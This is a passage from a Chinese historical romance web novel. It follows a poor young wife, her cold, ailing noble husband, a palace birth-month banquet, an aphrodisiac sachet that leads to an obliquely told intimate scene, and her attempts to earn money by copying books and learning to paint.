少女的声音控制不住地在发颤,但没有一个人可以反驳她胡言乱语。因为书中是真的有记载,湛卢剑也确实被称作仁道之剑,只是这类知识太冷门,知道的人不多。 崔世子曾经可是十六岁的状元郎,他知道当然不稀奇,大概他身边的新夫人是得了他的授意开口。 “世子夫人所言确实如此,陛下,仁道之剑送给小皇子再合适不过。”一个年长的老臣出来说话,德昌帝的目光瞬间由疑虑变作了满意。 “嗯,不错,愿皇儿日后能习得仁道。”他说罢,命人赏给崔伯翀上百赐福的钱币。 薛含桃的脸上扬起笑容,接下来就该轮到念她的礼物了,虽然明白对于这里的人而言她的礼物过于简薄,但这是她努力准备的心意啊。 然而,宫人仍是迟迟不出声。 “湛卢剑后面的贺礼,劳烦继续。”这时的崔世子开了口,他颇有风仪地擦拭了指尖,笑着同宫人颔首示意。 闻言,薛含桃默默地朝他的方向靠了靠。 “……红色鸡子六十个,饴糖二斤,竹蜻蜓一对,布老虎一只,拨浪鼓一对,红肚兜两件,胯裤两件,鞋子两双,帽子两只,兜蓬两件,洗儿盆一只。” 一箱子东西在湛卢剑之后抬了上来,摆在一起满满当当,可是代表的价值却是截然不同。 如薛含桃所料,她果然再次听到了哄笑的声音,眉眼渐渐地往下垂。 拼命地安慰自己,还好,还好,她的贺礼是和世子的贺礼放在一起的,看作添头很体面一点都不寒酸。 可是她听不到宫人再往下念别家的贺礼,薛含桃的手心汗津津,整个人也不知何时挨到了身边人的手臂。 “抬头,去看。”低沉的男子嗓音如同天籁,她下意识地照着去做。 原来,她的阿姐薛贵妃慢慢走到了殿中,正用手一遍遍地抚摸那些小衣服还有玩具。 薛贵妃的眼神恍惚而怀念,“我以为,不会有人为皇儿准备这些了。不少了,小桃准备了很久吧?” 堂姐语气温柔地问她,带着从前的影子和亲近。 薛含桃一下就放松了,搅着手指笑,“没有很多,也没有很久,就是…鞋子和帽子花了些时间。” 丰县的习俗,娘家人要为满月的新生儿送绣着彩鱼的帽子和鞋子,寓意着河神护佑,近水平安。 薛贵妃笑了起来,当即将彩鱼帽和彩鱼鞋一同拿过去给德昌帝看,并附在他的耳边低声解释了一番。 得知是古时传下来的习俗,德昌帝目光同样柔和,开口让薛含桃上前来,“你是皇儿的亲姨母,关系亲近,稍后胎发就由你来剪下吧。” 顶着不少从轻蔑骤然转变为惊奇的注视,薛含桃晕乎乎地 回了声好,一直到满月宴结束眼神都还懵懵的。 她根本不知道这意味着什么。 原本,定下为小皇子剪胎发的人是…崔皇后,除去生母最亲近的女性长辈- “这些也可以当作铜板来用吗?”坐在回去的马车上,薛含桃开心极了。 世子被陛下赏赐了一百福币,她被赏赐了整整五百! 认真地分辨了几遍,福币除了重量比铜板要沉一些,其他的完全没区别,穷到荷包空荡荡的薛含桃立刻就问福币能否当作铜板来用。 如果可以,那她就多了五百钱,能买很多东西呢。 “这是陛下的赏赐,一般人都会珍藏起来。”崔世子神色淡淡地为她解释,得知要珍藏,她的笑容没有之前明媚了。 “不过,”崔伯翀拿起一枚福币,语气陡然一转,“外人不知这是福币,你当作铜板用出去谁又知道。” 薛含桃的眼睛一亮,数好福币的数量,之后颇有成就感地装进了自己的荷包里面。 剩下一百她没有动,期期艾艾往崔世子的方向推了推。 “世子的。” 崔伯翀没有看那堆摆放整齐的钱币,而是将此前收起的小香球拿了出来,说要用一百钱币换它。 “世子若喜欢,不必给我钱币…只是它的气味比不上世子常用的熏香,要不还是扔掉好了。”看到被把玩在手中的小香球,薛含桃抱着沉甸甸的荷包,眼神往车窗处不停地飘。 扔了吧,只要打开车窗就可以扔出去,不要让里面的香料暴露她拙劣的谎言。 “我有钱了,可以给世子买质量更好的香球。”她的模样又敬又怕,小心翼翼像是在哄一只野兽。 还有几分哀求。 薛含桃不敢说出真相,她担心世子又一次生她的气,他说过的,下一次不会轻易放过自己。 “可是,我只喜欢这个香气。”崔伯翀一脸和煦,仿佛没有察觉手中香球以及少女的异样。 下一刻,他指骨用力,香气弥漫到整个车厢。 车窗这时是紧闭着的。 第34章 第三十四章还不够。 香球被捏碎了,没有声音。 哗啦啦,是薛含桃怀中那个鼓鼓囊囊的荷包掉落的声音。她傻了一般,眼睛涣散地看向空中飘扬的粉末,阿姐说只要用一点点就足够,一点点……可现在一整颗都挥洒在了车厢里面。 目光渐渐移到世子的身上,她心中的后悔汹涌而来。 崔伯翀捻了捻指尖的粉末,漆黑的眼瞳像是要把她的人钉住,他笑起来,语调带着锋锐的尖钩。 听着他的笑声,薛含桃死死缩在马车的一角,恐惧与悔恨交织,很快,脸颊、眼尾、耳朵和露出的肌肤上都染上了一层粉色。 忍一忍就好了,忍一忍…“呜。”这就是自作自受吧,她难受地流下了眼泪。 弯弯的睫毛被泪水打湿,薛含桃听到他喘息着说了四个字,“过来,趴好。” 能不照着做吗?自然不可以,香球是她带来的,谎言是她说出的,此时的麻烦于情于理都要她来平息。 她很听话,也很有责任感,垂着头小声呜咽地趴在了马车内的小榻上。 “对不起,我骗了世子,香料不是给衣服增香的。” “它可以让人动情。” “可不可以轻,轻点,我还没好。” “世子,钱…钱币掉了。” 接着,她便连一个字都说不出来了,马车绕了大半个都城,未曾停下过。 回到定国公府的时候,满天的晚霞如她脸上的颜色一般,比胭脂更艳。 桃子汁被榨出来了多少,薛含桃眼中的泪水就流了多少,她真的弄不明白自己这副瘦巴巴的身躯有什么值得世子喜欢的,这样下去,她吃再多的红枣也补不回气血。 也没力气和时间抄书了,抄不了书就赚不了钱,五百福币用几日也就没了。 薛含桃勉强睁着眼皮给陶罐的嫩芽浇了水施了肥,稀里糊涂又睡到第二天。 可能是心里存着事,也可能是睡了太多,她醒来的时候天还没有亮,帷幔中的光线只能让她辨清身体的轮廓。 薛含桃屏紧呼吸,轻手轻脚地坐起身,朝着自己的身旁看去。世子背对着她,还在睡,紧实宽阔的肩膀像是一道长长的阴影,无声地在他们两人之间划下一条界限。 她抿唇,呆坐了一会儿,自己好像从来没有在夜里看清过他的脸,不被允许的吧,没有目光的交汇也就没有别的可能。 世子一开始就明明白白地表达了他对自己的态度,仅是躯体的两分兴趣。 薛含桃张嘴,咬了口自己的指尖,果然,一点都不甜。她轻轻地点了下头,然后掀开了身上的锦被,从帷幔之内离开,到屏风后换上了衣服。 方大哥使人为她新做的细布裙子就放在那里,摸起来手感轻柔,但看起来就很朴素了,不必担心被弄脏。 薛含桃像做贼一般,逃出了寝房,自己打水洗了手脸,后来咬咬牙,又用浸了水的布巾擦拭那些深深浅浅的痕迹。 水是温凉的,碰到身体的时候她打了个寒战,世子作为人的一面好狠啊,不会心软,也不会温存,层层遍遍地叠加印记,乐此不疲。 她很困惑,自己身上的烙印还能消下去吗?如果一直带着的话,等到小皇子地位稳固她离开定国公府,是不是就无法再成亲了? “唉。”薛含桃闷闷地叹了口气,心中祈祷世子快一点对她的躯体厌倦,早些离开才不会伤身。 走出足足五间的正房,薛含桃有了种重见天日的感觉,即便这时天色还暗着。 她不好意思地在果儿姐姐的房门上轻轻敲了一下,早就等待着门后的大黑狗低呜一声,抬起前肢,弄开了门栓。 一人一狗在晨色中相聚,彼此都感觉到了温暖。 “阿凶,我们都小心一点,不要吵到果儿姐姐。” 找到笔墨纸砚,点燃一只蜡烛,薛含桃端正地坐下,终于找到了从前的感觉,专心致志地抄起了书。 原本方振为她在正房也安排了书案,但她嗅到房中浓郁的混杂的气息都打哆嗦,哪还能拿稳纸笔。 还是果儿姐姐这里好,阿凶陪着她,她很快就能进入状态。 实际上,她推开房门走出去的时候,崔伯翀就醒了,也听到了她刻意压低的脚步声。 不过心情愉悦的他并不在乎这一次她的逃离,因为他暂时得到了满足。 略微地抬一抬手,给那颗桃子一点喘息的空间,对他而言,是轻而易举就能做到的仁慈。 “如此,到最后吧。” 保持着现状,到他死亡的那刻,或许那颗桃子便能迎来解脱- 连续几日都早早地起身,薛含桃聚精会神,终于抄写完了一整本书。 这本书比《金刚经》还要厚一些,字小小的挨在一起,加上里面的插画,她用了十足的心思去临摹。 几乎分毫不差。 薛含桃原本以为能卖出一个高价,然而花了一个多时辰去到书阁,书阁的掌柜只给了她一两银子,算起来远远不如之前划算。 她欲言又止,掌柜看出她的疑惑,开口解释,“薛娘子,老朽实话告诉你,你能连书中的简画一并复现,确实难得。可是,这等书卖不上价钱,我最多也只能给你这么些。” 薛含桃无奈接受了这个现实,转头一想自己赚的比丰县要多,也就释然地收下了银子。 而且,她有吃有住有喝有穿,就连笔墨也不必花银子! “等一下,薛娘子,但若是您还用之前那种运笔,无论什么书,老朽一律付给您五两银子。”掌柜目光灼灼,盯着她的手像是在看一件稀世的珍宝。 谁能想到,眼前普普通通的小娘子抄写的书,竟然能做到与崔世子的笔迹七分相似。 若是她再精进一些,九分,甚至十分,哪怕明说是临摹,也 能卖出高价。 “不…不了,一两银子其实足够我用了。”薛含桃急声拒绝,捏着碎银飞快离开,怕晚了一步被别人听到。 果儿姐姐还有几个护卫就在外头等着呢。 她临摹世子的笔迹一开始只是仰慕,觉得世子写的字好看,谁知道被书阁掌柜看了出来。后来她依照世子送给她的书稿专心练习,仗着世子与她是两个世界的人,赚的钱也越来越多,更凑够了十两银子还给方大哥。 然而现在她不住在小院,一旦被世子发现,她的债可能一辈子都还不清。 薛含桃垂头丧气地出了书阁,果儿见她的脸色不对,立刻询问她出了何事。 她摇摇头,把手里的碎银给果儿看,“我以后估计赚不太多了。” 银子不多,买不了酥酪和银霜糕,只能买便宜的糖葫芦,剃了肉的骨头。 果儿满不在乎,她们还能缺钱不成,直接说自己的月例银子给她用。 薛含桃肯定不能答应,她给不了果儿姐姐太多钱就罢了,怎么能让果儿姐姐反过来给她银子。 偏头间,她看到了与书阁相邻的画坊,悄悄地走了进去。 卖画比卖书昂贵,书阁的伙计羡慕地在她耳边说过许多次。 末了,她还是灰溜溜地出来,因为没有学过作画的她只会临摹,但里面最便宜的一幅画她都买不起。 “娘子,您若是临摹,府里的库房就有许多名画,为何不拿来看一看呢?”果儿给她出了个主意,反正那些书画放在库房也是沉灰。 “我回去问问方大哥。”薛含桃想了想,也觉得这个主意不错,她只是观看并不会用手碰到。 应该没问题的吧。 “夫人想要学画?这是好事。库房钥匙之前就给了夫人,想用什么直接去取便是。”方振对她学画表示了赞同,在薛含桃感激的目光下,他想了想又多说了一句话,“世子颇擅丹青,夫人若有不懂的地方想来可以向世子请教。” 闻言,已经被无情“折磨”了几个晚上的小姑娘立刻没了声音,晚上的时候在一起,用膳的时候还是在一起,别的时候自己就不要再麻烦世子了吧。 薛含桃觉得自己和世子之间好似维持了一种简单的平衡。他为她提供衣食住行,她献出自己的躯体怎么被对待都逆来顺受;他为她挟菜允许阿凶一起用膳,她就为他盛汤挑鱼刺煮金银花茶。 之后两人就会分开,世子不过问她出府,她也不打扰世子。 如果自己总是出现在他的面前,世子会觉得自己贪心不足存有妄想吧。 而且,薛含桃自己也承受不起了,肩后的痕迹一层加着一层,每每靠近世子又酸又热,难耐还发软。 现在仅仅听到世子的名字而已,她竟然……想着老老实实地趴好。 “可是,小桃,仅仅靠你自己不知要何时才能学会。”方振见她不情愿,语气放缓了一些,说要不然他在外头为她寻找一个作画的师父,请到府中教她。 请人等于花钱,但薛含桃没钱。 她摆摆手赶紧拒绝,小声害羞地说自己想先试一试,实在摸不到法门,再请人也不迟。 “也好。”方振犹豫了一瞬开口应下,不过去到书房的时候,还是将这件事说了出来。 库房里面的书画数不胜数,但最负盛名的九州定海图是世子十六岁那年定国公送来的。 曾经,定国公对世子这个嫡长子可谓是予取予求。 “夫人想要临摹画作,郎君,那副九州定海图是否允夫人观赏。如若不可,我会提前将其封存起来。” “一幅画作而已,不必。” 天气变得凉爽,崔伯翀不再用冰,只是躺在躺椅上的脸色仍旧像是腊月寒冬,又阴又冷。 都城的秋日多雨,而他极其厌恶潮湿的气息,每一场雨都仿佛在提醒他,疼痛的身体在走向衰败。 幸而薛含桃这颗桃子异常乖顺,被摆弄地狠了,也不过是呜咽着哼哼两声。 比起之前的秋日,崔世子的状态已经算是温和可亲,起码说话不那么刻薄了。 方振默默地道,去年这个时候自己要是提到九州定海图,十有八九只会得到阴戾的眼神以及一个毫不留情的“滚”字。 “郎君这般说,我便明白了。其实夫人也可以同郎君学画,不过夫人说不想劳烦郎君。”方振眼角余光看到一旁乌黑的药汤,暗自叹气。 他意欲退下,崔伯翀又忽然将他喊住。 “既要学画,让她来找我。”他语气冷淡地留下一句话。 她是他娶来的夫人,他不至于对她如此苛刻,她说不想麻烦自己,这样的态度反而让他体内生出了一股…不爽。 不跟着他学,又要去和谁学? 还不够,崔伯翀在听到这句话的时候,恍然觉得自己得到的还不够。 他从她的身上还想要更多,比如,无论遇到什么,他要她第一个想到的人是他。 崔伯翀喝下那碗药汤,垂下眼眸在无声地思考。 除了果肉汁水,他还能讨回什么。 第35章 第三十五章笨拙地请求。 这是薛含桃第二次进入世子的书房,也是婚后的第一次。 婚后,她只靠近过书房外栽种的桂花树,安静地松土施肥,并不敢往世子的书房内探望。薛含桃相信书房里面也许藏着更多类似刘县令的事情,那些隐秘的账册信件,世子都有自己的安排。 方大哥让她进去,薛含桃磨磨蹭蹭地在门外徘徊很久,才敢敲门。 “进来。” 世子的声音她很熟悉了,但现在听起来似乎有些不一样,她默默地往里面走,鼻尖动了一下。 刺骨的冷气消失了,取而代之的是微苦微涩的药味。薛含桃抓紧了身上的细布裙子,走到窗边。 世子慵懒地躺在躺椅上,眉眼间果真有几分倦怠,他穿着一件月白色的袍子,样式甚至比她的细布裙子还要简单,可是仪态风流,萧萧肃肃,薛含桃不敢出声,怕破坏了一副美景。 昨日下了一场秋雨,窗外的桂花微瘦,她低头看到自己的脚边就有一朵也许是被风吹进来的黄色小花,捡起来放在了手心。 “……世子,方大哥说您找我。”世子仿佛没察觉到她的动作,她的存在,薛含桃老实地站了一会儿,想不到是什么事,于是局促地开口说道。 “不是你来书房有事求我吗?”崔伯翀平静地转过身,掀开眼皮看她。 薛含桃小脸迷茫,“我没有事情要请求世子…”若是有,她会在晚上说出来的,老实姑娘也知道那个时候的世子最好说话。 “既然没有,那就走吧。”崔世子语气淡淡,明显心情也一般。 其实,薛含桃之前就感觉到了,夜里他抱着自己的力道更重,更凶,也更不容挣扎。 闻言,她很听话,乖乖地道别往门外走,说不打扰世子休息。话还没说完,崔伯翀手边的瓷碗不经意掉落在地上,重重的一声碎裂。 薛含桃愣愣地看着地上的碎瓷,反应过来后急忙上前,脸上带着担心,“有没有伤到世子?” 她捧着崔世子的手,目光认真地查找伤口。当发现一道浅浅的尚未破皮的痕迹时,薛含桃皱了皱眉,鼓起脸腮,小心翼翼地对着吹气。 吹完后,她仰起头弯起唇瓣讨好,“吹口气就不疼了。” 崔伯翀垂眼看向近在迟尺的少女,此时他坐着,而她捧着他的手依偎在他的腿边,一朵小小的桂花刚好落在她纤细的腕间,像是精妙的点缀。 曾经也是在这里,他说过她原来很笨的啊。所以,他又一次地心软了,语气轻缓,说再给她一次机会。 薛含桃懵懂地再次摇头,她真的没有事请求世子。吃穿用度齐全,这里的人对她也都不错,方才进门前玉衡还为她端来了一碗珍贵的燕窝羹让她喝掉,她没有不知 足呀。 能用到求字,应该是很要紧的事。如果与她无关,那就是她身边的人或者狗! 薛含桃想到了,眼睫毛使劲眨了几下,期待地望着男人,“是有一件事请求世子,可不可以,让阿凶住进来啊?” 只需要一个偏僻的角落,摆上被换掉的帷幔,阿凶和她都会很满足。 “我已经在喂阿凶喝熬好的茯苓芝麻水了,而且每日会为它梳毛,一定不会再让世子看到它掉落的毛发。” 她一脸着急地承诺,就差举起手指对天发誓,结果只是为了那只掉毛的老狗。 崔伯翀轻嗤一声,手指抓住她的手腕弄掉了那朵黄色的小花,语气冷淡地道,“不行。” 他径直拒绝,透过窗户看外面凄惨的桂树,雨吹风打,好不可怜。 可是谁让这几株桂花树如此不识趣呢,偏偏在下雨的时候舒展花枝。 薛含桃被一口回绝,有些失望,忍着羞耻继续道,“房间……那么大,不会听到的。” “不会听到什么?”崔伯翀俯身靠近她,带来更为浓郁的药味和桂花香气,只一点点就会吻上她的额头。 薛含桃呼吸不顺,红着脸避开了他的目光,慌不择路之下,脑袋伏在了他的膝上。 她的声音含糊不清,“我会闭紧嘴巴。” “出去。”崔世子的语气更加凉薄,“再多说一句,那只杂毛老狗和罗承武一起去守大门。” 薛含桃一听就急了,世子这是要把阿凶赶出东院,守大门早出晚归她和阿凶势必要分开。 可是如果依照世子的吩咐闭嘴离开,是不是又是和先前一般,让世子不高兴。 这会儿她也琢磨出那个瓷碗不是无缘无故碎掉的,是她没听懂世子的话惹了他生气。 虽然现在,她依旧不明白世子的意思,但着急地要哭出来时,她的脑子终于灵光了一次,两只胳膊抱住了世子的腿。 尽力地回忆那些令她羞耻万分的动作,薛含桃笨拙地扭着身体,爬到他的怀里,手里没有酒杯,她就胡乱亲在崔世子的脸上。 这叫取悦。 “世子在这里,我不出去,我要陪着世子。”她哪里是蠢笨,明明聪明地过分,努力用自己薄弱的躯体温暖着他的冰冷。 只是接下来要如何做,她不会了。于是,茫然而僵硬的眼神一直不停地偷瞄他的脸色。 没有被扔下去,应该是做对了吧。 薛含桃很没有底气,见他森冷的目光落在自己身上,还有些害怕,第一次觉得或许看不清对她而言是好的。 她想趴过身,被拦住了腰。 “不要动。”饮完一次汤药,崔伯翀的身体除了疼痛还有困倦。此时他怀着一团温暖,已经想到了还能从她的身上讨回什么。 桃子的表面有一层浅浅的绒毛,也许可以陪伴他度过潮湿的秋雨和寒冬的冬日。 他阖上眼眸,渐渐意识沉迷。 耳边传来怯怯的声音询问他,可不可以在廊下给阿凶建一间小屋,他随便嗯了一声。 薛含桃松了一口气。 世子让自己不要动,她就真的一动不动,脑袋倚在他的肩膀上,浑身僵直,只有眼神是灵活的。 然后,一双带着渴望的眼睛落在了书案上的一个碟子里面。又大又圆的红枣,黄橙橙的蜜橘,绿莹莹的梨子,圆滚滚的柿子……闻起来好香好甜啊。 她咽了咽口水,还是丝毫不敢乱动。 随着时间过去,薛含桃的眼皮也一点一点地合上了。 之后,她再醒来又多了一个新任务,那就是白日陪喜怒无常的崔世子小憩。 薛含桃当然不会拒绝,老实规矩地点头,她夜里陪世子睡,白日只是再辛苦一点。 能…能接受的。 作为她的回报,不多时,宽敞的正房一侧被隔出了一间矮小的屋子,人只有弯着腰才可以进出。 这是阿凶的新窝,里面铺好了柔软的被褥,挂上了清新的草席,放着两个漂亮的大陶碗。 大黑狗表示很满意,尾巴摇了很久。 薛含桃一脸喜悦地将它的模样和小屋画了下来,用的是库房里面最普通的颜料,最后和原先的黑狗图摆放在一起。 感谢仁慈的崔世子,她丑陋无比的第一幅画没有被他扔掉。 “果儿姐姐,方大哥,你们看,我的画怎么样?”给阿凶画完画,她迫不及待地拿给两个信任的人观看。 果儿瞅了两眼没吭声,方振则是蹙眉问了她一个问题。 “小桃,前日在书房,世子没有答应教你画画吗?” “没有啊,世子没有提到作画。”薛含桃认真回忆过一遍,使劲摇头,她确实没从世子的口中听到有关作画的一个字。 担心方振再问,她赶紧又把自己的画给他看,“方大哥,这样的画能卖出去吗?” 那自然是不行。方振表示她有很大的进步空间。 “基础的东西,你还是要学一遍。” 薛含桃叹了一口气,如果只有先学会基础,才可以临摹。 “那我还是找一个老师吧。” “娘子,我认识一个人,他可是宫廷画师的徒弟。”果儿适时提起了自己的人脉,她毕竟是从宫里出来的。 为了赚更多的银子,薛含桃答应下来。 第36章 第三十六章世子开始厌倦了。 没一会儿,方振把她拉到了一旁。 “小桃,这两日你待在世子的书房,有没有察觉到奇怪的地方?”他压低了声音,目光颇为复杂。 薛含桃又是摇头,没有奇怪的地方啊,如果真的有……她嗫嚅嘴唇有些难以启齿。 方振见状开口鼓励她,让她放心大胆地提出来。 “我偷偷藏了几个红枣蜜橘,趁世子睡着的时候,吃了。”第一次的时候她忍住没有吃,可是第二天她看到那些果子没有被人动都不怎么新鲜了,所以就大着胆子咽进了自己的肚子里面。 闻言,方振抚额叹息,不得不提点她,幽幽、道,世子的书房从前没有这些瓜果。 傻丫头,那就是为你准备的。 听了他的解释,薛含桃才恍然大悟,怪不得世子醒来后明明发现碟子里变空了,也没指责她。 她露出一个柔柔的微笑,眼中漾着感动的光芒,“世子对我很好。” “你这两次去书房有没有嗅到额外的气味?”方振索性直问,一步一步地指引她发现端倪,他知道这也是世子的意思,从世子没有吩咐将药碗端下去开始。 “有!雨水的气息,桂花的香气,笔墨的味道。”薛含桃掰着手指头数了数,末了才看着方振迟疑道,“还有一股苦涩的药味。” 方振听到了想听到的答案,含糊应声,静待她提出下一步疑问。 他不会透露太多,但会隐约让她明白两分。 可是等啊等,少女就像是不染纤尘的露珠,一双纯净的眼瞳仍然带着感激的笑意,畅想着将来,“等我、日后学会作画赚了更多银子,一定报答世子。” 这一刻,她似乎不再记得肩后的酸楚,浑身上下洋溢着日光的味道。 方振长长地深深地看了她一眼,没有再说别的。 她究竟是真的没去想还是在装傻?第一次,他竟然觉得有些看不透她- 薛含桃说到做到,答应了果儿姐姐去拜访那位宫廷画师的徒弟,她就开始准备。 送礼肯定是要的,还好她的手里不仅有五百钱币还有抄书赚来的一两银子。想了想,她觉得福币送出去可能会体面一些,于是认真用针线串了一小堆,心道明日再买些肉和酒。 崔伯翀瞟了一眼烛光下呼哧呼哧忙碌的女子,身上穿着一件宽袖长袍,走了过去。 “串起来作甚?”他随手掂起一串,指骨的光泽比铜铸的钱币更显得贵气。 “明日要用掉。”薛含桃眨眨眼睛,如实回答。 忽然,她像是反应过来一般,急忙看了一眼外面的天色,原来已经到了世子入寝的时候。 还好自己清洗过身体了,她望向眼前的桌案踌躇片刻 ,自觉地背对着世子趴好,两只手臂往前放着。 这是一颗桃子乖巧献祭的姿态,不必他开口,也无需他强迫,朴实却诱人。 可是崔伯翀的体内并无躁动,抱着她不怎么柔软却很温暖的躯体略作休息两日,他获得了另外一种满足。 很平静的满足,让他嗜血的渴望逐渐熄灭。 他俯身靠近,捉住了她的手腕,褪去了一颗桃子的外皮。 正当薛含桃咬紧嘴唇等着承受又狠又凶的冲击时,她发现自己的手腕上被戴上了一个东西,叮叮当当似乎是漂亮的镯子,接着后背酸痛的地方也像是被涂抹上了凉凉的膏体。 好久没体会过的舒服,她眯起眼睛,神态像极了偷吃瓜果的时候。 “今天不做。”崔世子将她的衣服重新拉上去,看她一眼,慢条斯理擦拭地指尖。 继而,他迈步回到了帷幔里面。 夜里又不做了,还没半个月,已经开始厌倦了吗?不对,是长达半个月了,终于尝够了味道。 薛含桃的身体因为被涂抹了药膏很舒适,可心里胀胀的,好似后背的酸楚转移了地方。 也不是,她本来就没有资格酸楚。 要开心啊,自己偿还了世子的一部分恩情,生活也能完全回归之前的正常了,每天坚持涂抹药膏,那些深入皮肉的印记也会慢慢的消失。 说不定不必等到小皇子地位稳固,这里便能住进真正的女主人,除了名分上,没有任何的瑕疵。 而这一点,全是她的错。 数日未出现的愧疚铺天盖地袭来,薛含桃本能地看向自己曾坐着睡过的角落,那里又有了新的帷幔,想来也一样可以将她的存在遮住。 她将串好的钱币全部装进荷包里面,抱着沉甸甸的它向那里走去。 边走边再次庆幸,天气转凉,屋中不再摆放冰盆,厚重古朴的熏炉带来暖意,她不必盖着被子也能睡的很好。 “磨蹭什么,还不快过来。”快要走到地方,薛含桃的身后蓦然传来了崔伯翀几分凉意的语气。 “啊?好。”薛含桃满头雾水,世子既然说不做了为什么还让自己睡到床上,但这不妨碍她随叫随到,一路小跑着过去。 没等她站定,崔世子就颇不耐烦地丢了她怀里硕大的荷包,一把将她拽到榻上。 “听说你今日画了一幅画?”他漫不经心地询问,手臂已经箍住她的腰。 轻飘飘的锦被将两人合在一起,没有了灼热浓郁的气息,但很平和很温暖。 听到他问起自己作的画,薛含桃顿时将所有疑惑抛到脑后,感激他让自己使用库房的颜料,“我想先自己试着画一画,然后再临摹那些名家之作。” 说着她有些不好意思,闭着眼睛不敢看他,“我画的很丑。” 原来是要自己先摸索,不想被他知道是觉得很丑,崔伯翀的心情好转,语气也变得温柔一些,“我见过你给那只老狗画的那幅,丑不至于,你只是很会模仿…写实。假以时日,真实未必不能成为一种画道。” 他的话意味不明,但不妨碍薛含桃听懂了其中对她的夸奖。 不丑那不就是好看吗? 她猛地睁开眼睛,抬起眼眸直勾勾地看向另外一双纯黑色的眼瞳,唇瓣抿了又抿。 她只是一个农女,勉强识字,靠着抄书知道了一些诗词赋文。除此之外,她真的什么都不会,琴棋书画,烹茶行令,只书法一项沾一点他的光芒,可如今他亲口说她甚至可以成就一种画道,薛含桃的目光里面有害羞,有感动,还有巨大的欢喜。 被人肯定的滋味飘飘然,此时此刻,她眼中的崔世子抛却了属于人凶狠的一面,再次成为了完美无瑕的神明。 但时过境迁,她心中的仰望与虔诚已经不再纯粹。 不过,即便薛含桃自己也没有发现。她只是觉得自己很开心,很喜欢,然后红着脸颊缩进了被子里面。 她想,在他们身体之间最后一次亲密接触时听到这句肯定,多么圆满的结束啊- 次日,早早醒来的薛含桃发现自己的身边难得又成了空的,帷幔里面只有她一个人在。 这是多日来的第一次,不过她很快就清醒过来,自己穿上了衣服鞋子,又将床帐用金钩挂起来。 世子不再对她的躯体感兴趣,估计以后自己也不会再躺在这里。 薛含桃最后仔细地查看了一遍床榻,瞪大眼睛寻到两根掉落的头发,收起来,用手拍了拍,仿佛这样,她的痕迹和气息就全部可以消失。 其实整间房屋里面,能彰显她存在的原本也就只有一件东西,薛含桃寻到窗台,决定将自己的陶罐抱走。 很快,她惊喜地发现,里面的嫩芽又长出了一片叶子,终于不再是之前孱弱的模样。 它扎根了,慢慢在成长。 薛含桃欣喜过后,犹疑几瞬收回了双手,好不容易适应了这里的环境,要不还是等种子再长高一些再抱走吧。 世子应该不会介意的。 就这样,她只身抱着荷包走出了正房,遇到玉蘅还有其他两个侍女,三人看向她的眼神都有些古怪。 “夫人,您就算要和世子学作画,也不必,不必起身这么早。”玉蘅委婉地表达了侍女们的态度。天色不过蒙蒙亮,她完全可以再睡一会儿,因为她们还没有将需要的东西准备齐全。 各式各样的颜料,洁白柔软的宣纸,一条又宽又大的书案,大大小小的画笔,东西不少呢。 世子的要求又高又挑剔,几个侍女们非要忙活一两个时辰。 “我不是,不是和世子学作画,是要和果儿姐姐一起出门。”薛含桃听不懂她们口中的话,明明自己今日准备和果儿姐姐一起拜访宫廷画师的徒弟,怎么就变成了和世子学作画? “夫人说不是,那便不是。”玉蘅敷衍地笑了一声,知道世子夫人防着自己,不再开口。 这些时日,她自认为了解了新夫人的一些习性,见世子对新夫人还算宠爱也试着表现自己的善意,没想到夫人心中从来没信过她。 罢了,自己在夫人面前终究比不过那个圆脸的果儿。不过,她相信自己只要在世子的面前表现好,东院始终有她的一席之地。 薛含桃眼睁睁地望着玉蘅从自己身边经过,苦恼地皱着脸,难道真的怪自己吗?可她确实不明白啊。 “唉。”她无奈地叹气,然后探身钻进了大黑狗的屋子。 阿凶得了一个新窝,正是高兴的时候,发现主人的气息,它罕见地伸出舌头在她的手背上舔了舔。 温顺的模样仿佛从前年幼时的小奶狗。 “阿凶,你也觉得都城这里复杂吧?还是桃林村简单,不喜欢就又骂又打,喜欢就给人送好吃的。” 时隔多日,薛含桃终于对从前的家乡生出几分怀念。如果那里没有了大伯父一家,重新迁居过去的是友好的陌生人,那么,她其实还想回去看一看。 毕竟,那是自己和阿凶出生的地方。 “时间不会太远吧?世子开始厌倦我了……”她抱着老狗的脑袋低声述说,然后仅仅一瞬过去,她的眼中又燃起希望的光芒,“但世子依旧是慈悲的大善人,他会善待我,我们的日子不会比从前差,你看,他昨日还送给我一对手镯。” 薛含桃让大黑狗看,赤金色的手镯上方雕刻了一圈镂空的桂花,晃晃手,叮叮作响。 “我会抄书作画,赚很多钱,靠自己的努力买一座大宅子。” 种子发芽也越长越好了,开花后就能用来偿还世子的恩情,到时候她就不必觉得愧疚。 薛含桃设想的未来是美好的,但至始至终都没有崔世子的身影,因为她从来很清醒,他们是两个世界的人。 就算她糊涂了,也有太多太多的人时刻提醒她。 第37章 第三十七章被拦住去路。 “果儿姐姐,我打算送给高画师陛下赏赐的福币,还有些肉和酒,这样的一份礼足够吗?若是不够,箱子里还有一匹绢帛。” 薛含桃和果儿往国公府外走,准备去拜访那位高画师,虽然他的师父才是宫廷御用的画师,但她只是学些基础的技法,高画师对她而言已经算是位了不得的大人物。 她的语气含着几分期待。 “当然够了,娘子,你不要听他有 个画师的名头,实际上他的日子苦着呢。袍子里面都打着补丁,赁的一间房子比我们之前住的地方差上许多,因为是同乡,我接济过他好几次,顺便让他在宫外给我带些小东西。“果儿同她解释不只高画师,他的师父即便是御用画师,也过得不怎么样。 “能够得到贵人的赏识才算一步登天,否则,迟早连口饭也吃不起。”果儿感慨万千,趁机还和她提了两个失宠的宫妃被活活冻死的例子,“宫里私下有一句话,贵人越贵,贱、人越贱,娘子您想是不是这个道理?” 听着果儿的述说,薛含桃的眼前又浮现出了世子带她进入的庄园,鲜花着锦的富贵之地,能够坐着的只有几人罢了,而其他人跪着,趴着,脱-光了衣服,不像人反而像是动物。 “也许那些人离了那个地方,在别人眼中也是大人物吧。”她低声呢喃。 果儿没听清楚,开口问了一句,薛含桃笑了笑,大声道,“我们快去吧,去见果儿姐姐的同乡。” 闻言,果儿嗔了她一眼。 两人笑盈盈地离了国公府,并未注意到有人在暗中看着她们。 “若非眼尖,谁能想到东院里的世子夫人居然打扮的和一个侍女一样,偷偷地溜出府。” “得快些将这件事告诉夫人,夫人想必更加惊讶。” …… 薛含桃和果儿一起到肉铺买了一条五花肉,又去酒坊打了二斤酒。 接着她们就走向一处临水的巷子,果然如同果儿所说,环境很差,矮矮窄窄的屋子几乎住满了人,还有许多妇人在水边捶打衣服,密密麻麻连个空隙都看不见。 